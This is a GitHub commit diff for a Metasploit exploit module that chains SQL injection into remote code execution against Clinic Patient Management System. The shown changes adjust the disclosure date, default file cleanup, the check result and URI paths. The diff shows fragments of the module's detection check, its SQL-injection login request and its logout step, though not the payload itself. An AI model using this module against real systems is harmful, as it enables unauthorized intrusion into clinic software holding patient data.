Skip to content

Commit 41b35fb

Browse files
committed
Addressing comments
1 parent 939d997 commit 41b35fb

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def initialize(info = {})
3333
['CVE', '2025-3096'],
3434
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
3535
],
36-
'DisclosureDate' => '2021-10-21',
36+
'DisclosureDate' => '2021-01-04',
3737
'Notes' => {
3838
'Stability' => [CRASH_SAFE],
3939
'Reliability' => [REPEATABLE_SESSION],
@@ -44,28 +44,28 @@ def initialize(info = {})
4444

4545
register_options([
4646
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
47-
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
47+
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
4848
])
4949
end
5050

5151
def check
5252
print_status('Checking if target is vulnerable...')
5353

5454
res = send_request_cgi({
55-
'uri' => normalize_uri(target_uri.path + '/'),
55+
'uri' => normalize_uri(target_uri.path),
5656
'method' => 'GET'
5757
})
5858

5959
return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
6060
return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
6161
return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")
6262

63-
return Exploit::CheckCode::Vulnerable('Clinic PMS detected')
63+
return Exploit::CheckCode::Appears('Clinic PMS detected')
6464
end
6565

6666
def login_sqli
6767
res = send_request_cgi({
68-
'uri' => normalize_uri(target_uri.path + '/index.php'),
68+
'uri' => normalize_uri(target_uri.path + 'index.php'),
6969
'method' => 'POST',
7070
'keep_cookies' => true,
7171
'vars_post' =>
@@ -137,7 +137,7 @@ def upload_payload
137137

138138
def logout
139139
res = send_request_cgi({
140-
'uri' => normalize_uri(target_uri.path + '/logout.php'),
140+
'uri' => normalize_uri(target_uri.path + 'logout.php'),
141141
'method' => 'GET'
142142
})
143143
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302

0 commit comments

Comments
 (0)